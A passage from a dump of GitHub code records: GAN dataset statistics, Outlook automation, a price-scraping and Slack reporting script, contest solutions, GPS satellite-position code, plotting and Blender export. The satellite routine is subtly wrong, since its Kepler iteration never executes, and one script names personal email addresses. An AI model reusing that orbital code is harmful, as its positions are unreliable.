frequent_total_0 = np.sum(frequency_0.values)\n\n for value_1 in column_1_unique:\n if ((value, value_1) in frequency_0.keys()):\n num_cat_1 = len(frequency_0.keys())\n prob = frequency_0[(value, value_1)] / frequent_total_0\n # threshold = 1/(10*num_cat_1)\n threshold = 1 / num_cat_1\n if (prob < threshold):\n frequency_1 = reversed_pair_train_df[reversed_pair_train_df[pair[1]] == value_1].value_counts()\n # frequency_1 = reversed_pair_train_df.query(pair[1] + '==' + str(value_1)).value_counts()\n frequent_total_1 = np.sum(frequency_1.values)\n prob_10 = frequency_1[(value_1, value)] / frequent_total_1\n num_cat_0 = len(frequency_1.keys())\n if (prob_10 < threshold):\n train_imbalanced = train_df[train_df[pair[0]] == value]\n train_imbalanced = train_imbalanced[train_imbalanced[pair[1]] == value_1]\n\n synthesized_imbalanced1 = synth_df1[synth_df1[pair[0]] == value]\n synthesized_imbalanced1 = synthesized_imbalanced1[synthesized_imbalanced1[pair[1]] == value_1]\n synthesized_frequency_imbalanced1 = len(synthesized_imbalanced1)\n\n synthesized_imbalanced2 = synth_df2[synth_df2[pair[0]] == value]\n synthesized_imbalanced2 = synthesized_imbalanced2[synthesized_imbalanced2[pair[1]] == value_1]\n synthesized_frequency_imbalanced2 = len(synthesized_imbalanced2)\n\n count += 1\n if synthesized_frequency_imbalanced1 > 0:\n count_synth1 += 1\n if synthesized_frequency_imbalanced2 > 0:\n count_synth2 += 1\n # train_total += frequency_imbalanced\n # synthesized_total += synthesized_frequency_imbalanced\n return count, count_synth1, count_synth2\n\n\nimport random\n\ndef mutual_minority(train_data, synth_data):\n train_df = pd.read_csv(train_data)\n synth_df = pd.read_csv(synth_data)\n\n columns = train_df.columns\n total = 0\n total_synth= 0\n train_totalf = 0\n synth_totalf = 0\n n = len(columns)\n\n for i in range(50):\n\n column1 = random.randint(0, n-1)\n column2 = random.randint(0, n-1)\n while column2 == column1:\n column2 = random.randint(0, n-1)\n count, count_synth ,train_tt, synth_tt = mutual_minority_counts(train_df, synth_df, [columns[column1], columns[column2]])\n total += count\n total_synth += count_synth\n train_totalf += train_tt\n synth_totalf += synth_tt\n print(\"iter %d\"%i)\n return total, total_synth ,train_totalf, synth_totalf\n\n\n\ndef mutual_minority2(train_data, synth_data1, synth_data2):\n train_df = pd.read_csv(train_data)\n synth_df1 = pd.read_csv(synth_data1)\n synth_df2 = pd.read_csv(synth_data2)\n\n columns = train_df.columns\n total = 0\n total_synth1= 0\n total_synth2= 0\n n = len(columns)\n\n for i in range(50):\n\n column1 = random.randint(0, n-1)\n column2 = random.randint(0, n-1)\n while column2 == column1:\n column2 = random.randint(0, n-1)\n count, cs1, cs2 = mutual_minority_counts2(train_df, synth_df1, synth_df2, [columns[column1], columns[column2]])\n total += count\n total_synth1 += cs1\n total_synth2 += cs2\n\n print(\"iter %d\"%i)\n return total, total_synth1 , total_synth2\n\n","repo_name":"dungdinhanh/GDEGAN","sub_path":"utils/dataset_stat.py","file_name":"dataset_stat.py","file_ext":"py","file_size_in_byte":9316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14580213094","text":"import win32com.client\nimport datetime\n\nCALENDAR = 9\nINBOX = 6\n# \"6\" refers to the index of a folder - in this case,\n# the inbox. You can change that number to reference any other folder\n\nclass Outlook():\n def __init__(self):\n self.outlook = win32com.client.Dispatch(\"Outlook.Application\").GetNamespace(\"MAPI\")\n self.inbox = None\n self.calendar = None\n\n def test(self):\n pass\n\n def locate_folders(self):\n self.inbox = self.outlook.GetDefaultFolder(INBOX) \n self.calendar = self.outlook.GetDefaultFolder(CALENDAR)\n self.action_support = None\n self.archive = None\n # Find Action Support and Archive Folders\n for folder in self.inbox.Folders:\n if folder.name == 'Action Support':\n self.action_support = folder\n elif folder.name == 'Archive':\n self.archive = folder\n\n def archive_message(self, message):\n message.move(self.archive)\n\n def process_action_support(self):\n if not self.inbox:\n self.locate_folders()\n\n for message in self.action_support.Items:\n # print('Subject: {}'.format(message.subject))\n subject = message.subject\n # print('Snippet: {}'.format(message.body[:100]))\n snippet = message.body[:100]\n # print('Date: {}'.format(message.receivedtime.strftime(\"%a %d %b %Y %H:%M:%S\")))\n date = message.receivedtime.strftime(\"%a %d %b %Y %H:%M:%S\")\n # NOTE: https://superuser.com/questions/71786/can-i-create-a-link-to-a-specific-email-message-in-outlook/829959#829959\n perma_link = 'https://api.fnkr.net/goto/jsclient/raw/?closeAfter=500#outlook:{}'.format(message.entryid)\n yield (subject, snippet, date, perma_link, message)\n\n def get_events(self, days=7):\n if not self.calendar:\n self.locate_folders()\n\n events = self.calendar.Items\n events.Sort(\"[Start]\") # sort by start date\n events.IncludeRecurrences = \"True\"\n\n begin = datetime.date.today()\n end = begin + datetime.timedelta(days=days)\n events = events.Restrict(\"[Start] >= '\" + begin.strftime(\"%m/%d/%Y\") + \"' AND [End] <= '\" + end.strftime(\"%m/%d/%Y\") + \"'\")\n\n fevents = []\n for event in events:\n if 'Non-Work' not in event.categories and 'Family' not in event.categories:\n b = (event.start + datetime.timedelta(hours=7)).astimezone().isoformat()\n n = (event.end + datetime.timedelta(hours=7)).astimezone().isoformat()\n fevents.append((event.subject, b, n, event.location, event.entryid))\n\n return fevents\n\n# messages = inbox.Items\n# message = messages.GetLast()\n# body_content = message.body\n# print(body_content)\n# message.Display(True) #show selected item in outlook\n","repo_name":"chisaipete/flow","sub_path":"inbox/outlook/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70848570433","text":"print(\"Hi, you can invite five friends to the party :)\")\n\nfriends = []\ncount = 0\n\nwhile count < 5:\n friend = str(input(\"Enter the guest's name: \"))\n friends.append(friend)\n count += 1\n\nfriends.sort()\n\nfor index in range(0, count):\n print(\"F{}: {}\".format(index + 1, friends[index]))\n\nprint(\"the date of the party: 18/8/2023 at 12:00AM.\")","repo_name":"Ussf-nassrallah/alison-python_programming_challenges","sub_path":"module-10_lists/lists.py","file_name":"lists.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"37199473587","text":"import pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom B_WEEKLY_ΕΝΗΜΕΡΩΣΗ_ΕΙΣΑΓΩΓΗΣ_ΠΑΡΑΣΤΑΤΙΚΩΝ.Libraries import sql_import_report, scrap, excel_writer\nfrom Private import send_mail, slack_app, sql_connect\n\n# -------------------- Statements Here --------------------\noutput_file = 'Bazaar.xlsx'\npath_to_file = f'/Users/kommas/OneDrive/Business_Folder/Slack/Multiple_emails/{output_file}'\nmail_lst = ['johnkommas@hotmail.com', 'accounts@latocrete.gr', 'eloundamarket@yahoo.gr']\nmail_names = ['Τιμολόγιο Bazaar (Κομμάς)', 'Τιμολόγιο Bazaar (Λογιστήριο)', 'Τιμολόγιο Bazaar (Κατάστημα)']\nmain_name = 'Bazaar A.E.'\n\n# -------------------- Open HTML File for the BODY MAIL --------------------\nwith open('HTML/2. Import || Bazaar.html', 'r') as html_file:\n word = html_file.read()\n\n# -------------------- Assign the SQL Query Answer --------------------\nsql_answer = pd.read_sql_query(sql_import_report.private_database_query(main_name), sql_connect.connect())\n\n# -------------------- ASSIGN VALUES HERE MARKUP / QUARTILES --------------------\nmarkup = round(sql_answer['ΚΕΡΔΟΦΟΡΙΑ'] * 100, 2)\nquartiles = np.quantile(markup, [.25, .5, .75])\norder_id = sql_answer['ΠΑΡΑΣΤΑΤΙΚΟ'].unique()\nretail_price = sql_answer['ΤΙΜΗ ΛΙΑΝΙΚΗΣ']\nretail_q = np.quantile(retail_price, [.25, .5, .75])\n\n# -------------------- FIND BARCODES WHO ARE IN EVERY QUARTILE --------------------\ncodes_in_q1 = sql_answer[markup <= quartiles[0]]\ncodes_in_q2 = sql_answer[(markup > quartiles[0]) & (markup <= quartiles[1])]\ncodes_in_q3 = sql_answer[(markup > quartiles[1]) & (markup <= quartiles[2])]\ncodes_in_q4 = sql_answer[markup > quartiles[2]]\n\nif input('Press 1 to Start:') != '1':\n quit()\n\n# -------------------- Make the list to query for every barcode in bazaar web page --------------------\nlista = sql_answer['BARCODE']\nscrap.shops = [scrap.a, scrap.b, scrap.e]\nout = scrap.calculate_prices(lista)\n\n# -------------------- Assign the results --------------------\nsql_answer['ΤΙΜΗ BAZAAR'] = out['BAZAAR']\nsql_answer['TIMH ΒΑΣΙΛΟΠΟΥΛΟΣ'] = out['ΑΒ. Βασιλόπουλος']\nsql_answer['TIMH Care Market'] = out['Care Market']\n\n# -------------------- PLOT A HISTOGRAM WITH QUARTILE VALUES --------------------\n# create your figure here\nplt.figure(figsize=(15, 9))\nplt.subplot(xlabel='Product', ylabel='Retail Price', title='Retail Price [Scatter Plot]')\nplt.scatter(range(len(sql_answer)), retail_price, marker='o', color='blue', label='ELOUNDA')\nplt.scatter(range(len(sql_answer)), sql_answer['ΤΙΜΗ BAZAAR'], marker='o', color='red', label='BAZAAR')\n# plt.scatter(range(len(sql_answer)), sql_answer['TIMH ΒΑΣΙΛΟΠΟΥΛΟΣ'], marker='o', color='green', label='ΒΑΣΙΛΟΠΟΥΛΟΣ')\n# plt.scatter(range(len(sql_answer)), sql_answer['TIMH Care Market'], marker='o', color='black', label='Care Market')\nplt.grid(True, alpha=0.2)\nplt.legend()\nplt.savefig('views.png')\nplt.show()\n\n# -------------------- Εισαγωγή Δεομένων στο EXCEL --------------------\nexcel_writer.export(path_to_file, sql_answer)\n\n# ---------------- E-MAIL SEND --------------------\nsend_mail.send_mail(mail_lst, mail_names, word, path_to_file, output_file)\n\n# ----------------SLACK BOT DELETE ALL ----------------------------\nx = (slack_app.history(slack_app.channels_id[5]))\n\nfor i in range(len(x['messages'])):\n percent = int((100 * (i + 1)) / len(x['messages']))\n filler = \"█\" * (percent // 2)\n remaining = '-' * ((100 - percent) // 2)\n timer = (x['messages'][i]['ts'])\n slack_app.delete(slack_app.channels_id[5], timer)\n print(f'\\rSLACK DELETE ALL ENTRIES DONE:[{filler}{remaining}]{percent}%', end='', flush=True)\nprint()\n\n# ----------------SLACK BOT----------------------------\nslack_output_text = f\"\"\"\n> ΕΒΔΟΜΑΔΙΑΙΟ ΔΗΜΟΣΙΕΥΜΑ\n> ΚΑΤΑΧΩΡΗΘΗΚΑΝ ΤΑ ΤΙΜΟΛΟΓΙΑ: {order_id}\n>\n>Data Science Tools Used:\n>:slack: :github: :docker: :kubernetes: :python: :javascript: :nodejs: :react: :vue: :fbwow: \n\"\"\"\n\nslack_app.send_text(slack_output_text, slack_app.channels[5])\nslack_app.send_files(output_file, path_to_file, 'xlsx', slack_app.channels[5])\nslack_app.send_files('views.png', 'views.png', 'png', slack_app.channels[5])\n","repo_name":"gitter-badger/Elounda_Market","sub_path":"B_WEEKLY_ΕΝΗΜΕΡΩΣΗ_ΕΙΣΑΓΩΓΗΣ_ΠΑΡΑΣΤΑΤΙΚΩΝ/Bazaar.py","file_name":"Bazaar.py","file_ext":"py","file_size_in_byte":4329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23647460781","text":"from os import path, linesep\r\nimport itertools\r\nimport math\r\n\r\nclass Room:\r\n pass\r\n\r\ndef solve_case(cj_input):\r\n \"\"\"\r\n Solves one case of this CodeJam task and returns its solution.\r\n Read a line by calling \r\n next(cj_input)\r\n \"\"\"\r\n # get room specs and room\r\n room_specs = list(map(int, next(cj_input).split(\" \")))\r\n height = room_specs[0]\r\n width = room_specs[1]\r\n vision = room_specs[2]\r\n print(height, width, vision)\r\n \r\n # contruct room \r\n room = get_room(height, width, cj_input)\r\n \r\n # find out how many mirrors\r\n return calculate_images(room, vision) \r\n\r\n\r\ndef get_room(height, width, cj_input):\r\n \"\"\"\r\n Reads in room information.\r\n \"\"\"\r\n # GET A ROOM :D\r\n room = Room()\r\n room.inner_width = width - 2\r\n room.inner_height = height - 2\r\n room.data = []\r\n \r\n # skip first and last row, only read inner room\r\n next(cj_input)\r\n for i in range(1, height-1):\r\n room.data.append(next(cj_input)[1:-1])\r\n next(cj_input)\r\n \r\n # find own position and mirrors\r\n room.mirrors = []\r\n room.position = (0, 0)\r\n for y in range(room.inner_height):\r\n for x in range(room.inner_width):\r\n here = room.data[y][x]\r\n if here == \"#\":\r\n room.mirrors.append((x,y))\r\n elif here == \"X\":\r\n room.position = (x,y)\r\n \r\n return room\r\n\r\n\r\ndef calculate_images(room, vision):\r\n \"\"\"\r\n Calculates how many images we can see.\r\n \"\"\"\r\n room.position = room.position[0] + 0.5, room.position[1] + 0.5 \r\n visible_images = 0\r\n used_directions_left = set()\r\n used_directions_right = set()\r\n for n in range(1, vision+1):\r\n for delta_y in range(-n,n+1,1):\r\n for delta_x in range(-n,n+1,1):\r\n # no 0-0 check\r\n if delta_x == delta_y == 0:\r\n continue\r\n \r\n # get mirrored coords\r\n mirrored_coords = calc_mirror_coords(room, delta_x, delta_y)\r\n #print(delta_x, delta_y, mirrored_coords)\r\n \r\n # check if we can still see it\r\n distance = math.sqrt((mirrored_coords[0]-room.position[0])**2 + (mirrored_coords[1] - room.position[1])**2)\r\n if distance <= vision:\r\n # calculate direction\r\n direction = 0\r\n if room.position[0] == mirrored_coords[0]:\r\n if room.position[1] < mirrored_coords[1]:\r\n direction = \"straight down\"\r\n else: direction = \"straight up\"\r\n elif room.position[1] == mirrored_coords[1]:\r\n direction = \"even line\"\r\n else:\r\n direction = (room.position[1] - mirrored_coords[1]) / (room.position[0] - mirrored_coords[0])\r\n \r\n # goes left or right?\r\n correct_directions_set = used_directions_right\r\n if mirrored_coords[0] < room.position[0]:\r\n correct_directions_set = used_directions_left\r\n \r\n if direction in correct_directions_set:\r\n continue\r\n correct_directions_set.add(direction)\r\n visible_images += 1\r\n \r\n \r\n return str(visible_images)\r\n\r\ndef calc_mirror_coords(room, delta_x, delta_y):\r\n \"\"\"\r\n Calculates mirrored coordinates of own position (delta_x rooms in x position, delta_y rooms in y position).\r\n \"\"\"\r\n result_x = 0\r\n result_y = 0\r\n if delta_x % 2 == 1:\r\n result_x = -room.position[0] + (delta_x + 1) * room.inner_width\r\n else:\r\n result_x = room.position[0] + delta_x * room.inner_width\r\n if (delta_y % 2 == 1):\r\n result_y = -room.position[1] + (delta_y + 1) * room.inner_height\r\n else:\r\n result_y = room.position[1] + delta_y * room.inner_height\r\n\r\n return (result_x, result_y)\r\n\r\n\r\n# From here on, the fairly generic CodeJam code follows. Read in file, output solutions.\r\n# Potentially the first line does not include number of cases, this may have to be adapted.\r\n\r\ndef run_codejam():\r\n \"\"\"\r\n Runs the codejam by initializing input and output, calling methods which solve the cases and finally\r\n outputting the results.\r\n \"\"\"\r\n testfile = \"D-small-attempt0\"\r\n cases_file = path.join(path.dirname(__file__), testfile)\r\n with open(cases_file + \".in\", \"r\") as cj_input:\r\n with open(cases_file + \".out\", \"w\") as cj_output:\r\n # get a line-based reader\r\n reader = iter(cj_input.read().splitlines())\r\n \r\n # read number of cases\r\n caseCount = int(next(reader))\r\n \r\n # handle cases (1-based)\r\n for i in range(1, caseCount+1):\r\n result = solve_case(reader)\r\n outputStr = \"Case #\" + str(i) + \": \" + result\r\n cj_output.write(outputStr + \"\\n\")\r\n print(outputStr)\r\n \r\n# run the CodeJam analysis\r\nrun_codejam()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_98/73.py","file_name":"73.py","file_ext":"py","file_size_in_byte":5153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12256986653","text":"# get all function names from given python file\ndef get_func_names(file):\n \"\"\"\n file: python file\n \"\"\"\n with open(file, 'r') as f:\n lines = f.readlines()\n func_names = []\n for line in lines:\n if line.startswith(\"def \"):\n func_names.append(line.split()[1].split(\"(\")[0])\n return func_names\n","repo_name":"minghaoguo20/myfunc","sub_path":"myfunc/get_func_names.py","file_name":"get_func_names.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28693400314","text":"import math\n\nGM = 3.986005 * 10**14\nOMEGA_e = 7.292115 * 10**(-5)\n\ndef _calculate_tk(t, toe) -> float:\n tk = t - toe\n if tk > 302400.0:\n tk = tk - 604800.0\n elif tk < -302400.0:\n tk = tk + 604800.0\n\n return tk\n\ndef _calculate_Ek(Mk, e):\n Ek = Mk\n temp = Ek\n while math.fabs(Ek-temp) >= 1e-10:\n temp = Ek\n Ek = Mk + e*math.sin(Ek)\n\n return Ek\n\ndef calculate_satpos(sat_rinex: dict) -> tuple:\n A = sat_rinex['sqrt_A']**2\n n_0 = math.sqrt(GM/ (A**3))\n n = n_0 + sat_rinex['Delta_n']\n e = sat_rinex['e_Eccentricity']\n tk = _calculate_tk(sat_rinex['TTM'],sat_rinex['Toe'])\n Mk = sat_rinex['M0'] + n * tk\n Ek = _calculate_Ek(Mk, e)\n \n vk = math.atan2(math.sqrt(1-e*e) * math.sin(Ek), math.cos(Ek) - e)\n phi_k = vk + sat_rinex['omega']\n\n d_uk = sat_rinex['Cuc'] * math.cos(2*phi_k) + sat_rinex['Cus'] * math.sin(2*phi_k)\n d_rk = sat_rinex['Crc'] * math.cos(2*phi_k) + sat_rinex['Crs'] * math.sin(2*phi_k)\n d_ik = sat_rinex['Cic'] * math.cos(2*phi_k) + sat_rinex['Cis'] * math.sin(2*phi_k)\n\n uk = phi_k + d_uk\n rk = A * (1 - e * math.cos(Ek)) + d_rk\n ik = sat_rinex['i0'] + d_ik + sat_rinex['IDOT'] * tk\n\n xk_prim = rk * math.cos(uk)\n yk_prim = rk * math.sin(uk)\n\n omega_k = sat_rinex['OMEGA'] + (sat_rinex['OMEGA_DOT'] - OMEGA_e) * tk - OMEGA_e * sat_rinex['Toe'] \n\n xk = xk_prim * math.cos(omega_k) - yk_prim * math.cos(ik) * math.sin(omega_k)\n yk = xk_prim * math.sin(omega_k) - yk_prim * math.cos(ik) * math.cos(omega_k)\n zk = yk_prim * math.sin(ik)\n\n return (xk, yk, zk)\n\n\ndef calculate_positions(sat_data: dict) -> dict:\n sat_pos = {}\n\n for key, sat_rinex in sat_data.items():\n xk, yk, zk = calculate_satpos(sat_rinex)\n\n sat_pos[key] = {\n 'x': xk,\n 'y': yk,\n 'z': zk\n }\n \n return sat_pos\n\n\n","repo_name":"MarwinMarw/RINEX-satellite-position","sub_path":"RSP/satpos.py","file_name":"satpos.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"36488713719","text":"\"\"\"\nPlots:\n- complete search AUC vs. edge message ratio graph\n- difference between validation criterion and best complete search AUC heatmap\n- difference between gap criterion and best complete search AUC heatmap\n- difference between validation and gap criterion AUC heatmap\n\"\"\"\n\nimport argparse\nfrom pathlib import Path\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pylab as plt\nimport seaborn as sns\n\n\ndef plot_complete_search_results(file_name, complete_search_results, edge_message_ratios, random_test_acc):\n\trandom_results = [random_test_acc for x in edge_message_ratios]\n\n\tplt.plot(edge_message_ratios, complete_search_results, \"b\", label=\"Complete search AUC\")\n\tplt.plot(edge_message_ratios, random_results, \"r\", label=\"Random search AUC\")\n\tplt.legend()\n\t\n\tplt.title(\"AUC vs. edge message ratio\")\n\tplt.xlabel(\"Edge message ratio\")\n\tplt.ylabel(\"AUC\")\t\n\n\tplt.savefig(file_name)\n\tplt.clf()\n\n\n\ndef plot_difference_heatmap(file_name, plot_title, results, baseline_results, adapt_epochs, try_epochs):\n\tax = sns.heatmap(100 * (results - baseline_results), xticklabels=try_epochs, yticklabels=adapt_epochs, annot=True, fmt=\".4g\")\n\tax.set(title=plot_title, ylabel=\"Adapt epochs\", xlabel=\"Try epochs\")\n\n\tplt.savefig(file_name)\n\tplt.clf()\n\n\n\ndef arg_parse():\n\tparser = argparse.ArgumentParser(description='Dataset and configuration for analysis.')\n\tparser.add_argument('--dataset', type=str,\n\t\t\t\t\t\thelp='Dataset.')\n\tparser.add_argument('--num_layers', type=int,\n\t\t\t\t\t\thelp='Number of layers of GNN.')\n\tparser.add_argument('--hidden_dim', type=int,\n\t\t\t\t\t\thelp='Hidden dimension of GNN.')\n\n\tparser.set_defaults(\n\t\t\tdataset='cora',\n\t\t\tnum_layers=2,\n\t\t\thidden_dim=64\n\t)\n\treturn parser.parse_args()\n\n \nargs = arg_parse()\nfolder = f\"{args.dataset}-{args.num_layers}-{args.hidden_dim}\"\n\ndata_splits = [[0.2, 0.4, 0.4], [0.5, 0.25, 0.25], [0.8, 0.1, 0.1]]\nadapt_epochs = [100, 50, 10]\ntry_epochs = [1, 5, -1]\ncriterions = ['val', 'gap']\n\nedge_message_ratios = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9]\n\n\nfor data_split in data_splits:\n\tfolder_split = \"{}-{}-{}\".format(int(100 * data_split[0]), int(100 * data_split[1]), int(100 * data_split[2]))\n\tfolder_results = folder + \"/results/\" + folder_split\n\tanalysis_folder = folder + \"/analysis/\" + folder_split\n\n\tPath(analysis_folder).mkdir(parents=True, exist_ok=True)\n\n\n\tbest_complete_search_val_acc = -np.inf\n\tbest_complete_search_test_acc = -np.inf\n\n\tcomplete_search_results = []\n\tfor edge_message_ratio in edge_message_ratios:\n\t\tfile_name = folder_results + \"/normal_{}.csv\".format(int(100 * edge_message_ratio))\n\t\tframe = pd.read_csv(file_name)\n\t\tval_acc = frame.to_numpy()[0][-2]\n\t\ttest_acc = frame.to_numpy()[0][-1]\n\t\tcomplete_search_results.append(test_acc)\n\n\t\tif(val_acc > best_complete_search_val_acc):\n\t\t\tbest_complete_search_val_acc = val_acc\n\t\t\tbest_complete_search_test_acc = test_acc\n\n\tcomplete_search_results = np.array(complete_search_results)\n\tbest_complete_search_acc = best_complete_search_test_acc\n\n\n\tfile_name = folder_results + \"/random.csv\"\n\tframe = pd.read_csv(file_name)\n\trandom_test_acc = frame.to_numpy()[0][-1]\n\t\n\tprint(f\"Data split: {folder_split}\")\n\tprint(f\"Complete search acc: {100 * best_complete_search_acc}\")\n\tprint(f\"Random search acc: {100 * random_test_acc}\")\n\tprint()\n\n\tval_results = []\n\tfor adapt_epoch in adapt_epochs:\n\t\tcurrent_results = []\n\t\tfor try_epoch in try_epochs:\n\t\t\tif(try_epoch == -1):\n\t\t\t\ttry_epoch = adapt_epoch\n\n\t\t\tfile_name = folder_results + \"/adapt_val_{}_{}.csv\".format(adapt_epoch, try_epoch)\n\t\t\tframe = pd.read_csv(file_name)\n\t\t\ttest_acc = frame.to_numpy()[0][-1]\n\t\t\tcurrent_results.append(test_acc)\n\n\t\tval_results.append(current_results)\n\n\tval_results = np.array(val_results)\n\n\n\n\tgap_results = []\n\tfor adapt_epoch in adapt_epochs:\n\t\tcurrent_results = []\n\t\tfor try_epoch in try_epochs:\n\t\t\tif(try_epoch == -1):\n\t\t\t\ttry_epoch = adapt_epoch\n\n\t\t\tfile_name = folder_results + \"/adapt_gap_{}_{}.csv\".format(adapt_epoch, try_epoch)\n\t\t\tframe = pd.read_csv(file_name)\n\t\t\ttest_acc = frame.to_numpy()[0][-1]\n\t\t\tcurrent_results.append(test_acc)\n\n\t\tgap_results.append(current_results)\n\n\tgap_results = np.array(gap_results)\n\n\n\n\tfile_name = analysis_folder + \"/complete_search_results.png\"\n\tplot_complete_search_results(file_name, complete_search_results, edge_message_ratios, random_test_acc)\n\n\tfile_name = analysis_folder + \"/difference_val_complete_search.png\"\n\tplot_difference_heatmap(file_name, \"Difference between validation criterion and \\n best complete search AUC (val - best complete search)\", \n\t\t\t\t\tval_results, best_complete_search_acc, adapt_epochs, try_epochs)\n\n\tfile_name = analysis_folder + \"/difference_gap_complete_search.png\"\n\tplot_difference_heatmap(file_name, \"Difference between gap criterion and \\n best complete search AUC (gap - best complete search)\", \n\t\t\t\t\tgap_results, best_complete_search_acc, adapt_epochs, try_epochs)\n\n\tfile_name = analysis_folder + \"/difference_val_gap.png\"\n\tplot_difference_heatmap(file_name, \"Difference between validation and \\n gap criterion AUC (val - gap)\", \n\t\t\t\t\tval_results, gap_results, adapt_epochs, try_epochs)","repo_name":"timpostuvan/adagrid","sub_path":"uniform-negative-sampling/adagrid_settings_analysis.py","file_name":"adagrid_settings_analysis.py","file_ext":"py","file_size_in_byte":5070,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"70451784516","text":"\"\"\"\n828. Count Unique Characters of All Substrings of a Given String\n\"\"\"\n\nfrom collections import defaultdict\n\n# Convert problem to:\n# total number of substring that contain a unique characters for all characters\n# in the string\nclass Solution:\n def uniqueLetterString(self, s: str) -> int:\n mod = 10 ** 9 + 7\n char_index = defaultdict(list)\n\n for i, v in enumerate(s):\n char_index[v].append(i)\n\n ret = 0\n\n for v in char_index.values():\n v = [-1] + v + [len(s)]\n for i in range(1, len(v)-1):\n ret += (v[i] - v[i-1]) * (v[i+1] - v[i])\n return ret % mod\n","repo_name":"dictator-x/practise_as","sub_path":"algorithm/leetCode/0828_count_unique_characters_of_all_substrings_of_a_given_string.py","file_name":"0828_count_unique_characters_of_all_substrings_of_a_given_string.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9696526228","text":"import logging\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport tensorflow as tf\r\n\r\nlogger = tf.get_logger()\r\nlogger.setLevel(logging.ERROR)\r\n\r\ncelsius_q = np.array([-40, -10, 0, 8, 15, 22, 38], dtype=float)\r\nfahrenheits_a = np.array([-40, 14, 32, 46, 59, 72, 100], dtype=float)\r\n\r\nfor (i, c) in enumerate(celsius_q):\r\n print(i, c)\r\n print(\"{} degrees Celsius = {} degrees Fahrenheit\"\r\n .format(c, fahrenheits_a[i]))\r\n\r\nl0 = tf.keras.layers.Dense(units=1, input_shape=[1])\r\nmodel = tf.keras.Sequential([l0])\r\nmodel.compile(loss='mean_squared_error', # mean_absolute_error\r\n optimizer=tf.keras.optimizers.Adam(0.1))\r\nprint(\"Finished creating the model\")\r\n\r\nhistory1 = model.fit(celsius_q, fahrenheits_a, epochs=1000, verbose=False)\r\nprint(\"Finished training the model\")\r\nplt.xlabel('Epoch Number')\r\nplt.ylabel(\"Loss Magnitude\")\r\nplt.plot(history1.history['loss'])\r\nprint(model.predict([1000.0]))\r\n\r\nl0 = tf.keras.layers.Dense(units=4, input_shape=[1])\r\nl1 = tf.keras.layers.Dense(units=4)\r\nl2 = tf.keras.layers.Dense(units=1)\r\nmodel = tf.keras.Sequential([l0, l1, l2])\r\nmodel.compile(loss='mean_squared_error',\r\n optimizer=tf.keras.optimizers.Adam(0.1))\r\n\r\nhistory2 = model.fit(celsius_q, fahrenheits_a, epochs=200, verbose=False)\r\nplt.plot(history2.history['loss'])\r\n\r\nprint(\"Finished training the model\")\r\nprint(model.predict([1000.0]))\r\nprint(\"Model predicts that 100 degrees Celsius is: {} degrees \\\r\n Fahrenheit \\n \\n\".format(model.predict([1000.0])))\r\nprint(\"l0 weights {}\".format(l0.get_weights()))\r\nprint(\"l1 weights {}\".format(l0.get_weights()))\r\nprint(\"l2 weights {}\".format(l0.get_weights()))\r\n","repo_name":"YuriiNev/TF_studying","sub_path":"project1_main.py","file_name":"project1_main.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39364982711","text":"\"\"\"5. Написати функцію , яка приймає один аргумент\nі виводить всі числа Фібоначчі, що не перевищують його.\"\"\"\n\n\ndef fibonacci(n):\n if n == 0:\n print(0)\n elif n > 0:\n a, b = 0, 1\n print(a)\n print(b)\n for i in range(n):\n a, b = b, a + b\n if n >= a:\n print(a)\n else:\n break\n else:\n print(\"Не існує відємних значень\")\n\n\nfibonacci(0)\n","repo_name":"Ernestek/GeekHub-homework","sub_path":"HT5/task_5.py","file_name":"task_5.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33509982568","text":"from . import p3ddatablock, p3dexporthelper\nimport bpy, struct\n\nclass P3DMesh( p3ddatablock.P3DDataBlock ):\n def ExportPositions( self, block, root ):\n pos = root.BinFile.getposition()\n root.BinFile.writeint( len( block.vertices ))\n for vertex in block.vertices:\n root.BinFile.writevec( vertex.co )\n return pos\n\n def ExportNormals( self, block, root ):\n pos = root.BinFile.getposition()\n block.calc_normals_split()\n root.BinFile.writeint( len( block.loops ))\n for l in block.loops:\n root.BinFile.writevec( l.normal )\n return pos\n\n def ExportTangents( self, block, root ):\n pos = root.BinFile.getposition()\n block.calc_tangents()\n root.BinFile.writeint( len( block.loops ))\n for l in block.loops:\n root.BinFile.writevec( l.tangent )\n return pos\n\n def ExportCotangents( self, block, root ):\n pos = root.BinFile.getposition()\n root.BinFile.writeint( len( block.loops ))\n for l in block.loops:\n root.BinFile.writevec( l.bitangent )\n return pos\n\n def ExportLoops( self, block, root ):\n pos = root.BinFile.getposition()\n root.BinFile.writeint( len( block.loops ))\n for l in block.loops:\n root.BinFile.writeint( l.vertex_index ) #l.edge_index )\n return pos\n\n def ExportEdges( self, block, root ):\n pos = root.BinFile.getposition()\n root.BinFile.writeint( len( block.loops ) * 2 )\n for l in block.loops:\n root.BinFile.writeint( block.edges[ l.edge_index ].vertices[ 0 ])\n 